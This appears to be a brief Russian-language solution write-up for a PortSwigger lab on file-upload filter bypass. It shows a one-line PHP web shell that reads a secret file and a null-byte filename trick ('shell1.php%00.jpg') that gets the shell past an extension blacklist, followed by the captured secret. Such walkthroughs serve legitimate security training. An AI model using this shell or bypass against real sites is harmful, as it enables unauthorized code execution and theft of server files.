На странице
apsyleg1 мин
#portswigger #file-upload #rce #null-byte #web-security

Web Shell Upload через обфускацию расширения

Лаборатория

Web shell upload via obfuscated file extension · Practitioner

Решение

Дано

This lab contains a vulnerable image upload function. Certain file extensions
are blacklisted, but this defense can be bypassed using a classic obfuscation
technique.

To solve the lab, upload a basic PHP web shell, then use it to exfiltrate the
contents of the file /home/carlos/secret. Submit this secret using the button
provided in the lab banner.

You can log in to your own account using the following credentials: wiener:peter

Анализ и разведка

Шелл всё тот же:

<?php echo file_get_contents('/home/carlos/secret'); ?>

Закидываем shell.php:

Sorry, only JPG & PNG files are allowed
Sorry, there was an error uploading your file.

Значит, пытаемся убедить, что это JPG или PNG. Пойдём по порядку.

  1. shell.php.jpg — загрузилось, но отдаётся как картинка, не подошло.
  2. А вот с нулевым байтом получилось:
Content-Disposition: form-data; name="avatar"; filename="shell1.php%00.jpg"
Content-Type: application/x-php
Re4kTtunnIZsPQSV4FFhRmyNL6FO0gos

Лаба решена!